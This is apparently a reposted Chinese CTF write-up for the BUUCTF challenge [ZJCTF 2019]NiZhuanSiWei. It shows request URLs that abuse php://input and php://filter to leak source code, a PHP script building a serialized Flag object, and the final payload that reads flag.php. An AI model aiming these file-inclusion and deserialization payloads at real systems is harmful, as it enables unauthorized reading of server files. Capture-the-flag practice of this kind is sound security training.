BUUCTF:[ZJCTF 2019]NiZhuanSiWei
程序员文章站
2022-05-11 18:02:05
...
题目地址:https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei
老题目了
/?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
POST内容
welcome to the zjctf
useless.php
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
构造POC
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
$a->file='flag.php';
echo serialize($a);
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
/?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
推荐阅读
-
BUUCTF-web-[极客大挑战 2019]Secret File
-
BUUCTF:[极客大挑战 2019]HardSQL
-
BUUCTF:[FBCTF2019]Event
-
【BUUCTF】MISC [安洵杯 2019]Attack + mimikatz 获取 Administrator の Password
-
BUUCTF之[强网杯 2019]随便注write up
-
【BUUCTF】ciscn_2019_ne_5 Write Up
-
BUUCTF 强网杯2019 Copperstudy
-
[ZJCTF 2019]NiZhuanSiWei
-
BUUCTF:[ZJCTF 2019]NiZhuanSiWei
-
[ZJCTF 2019]NiZhuanSiWei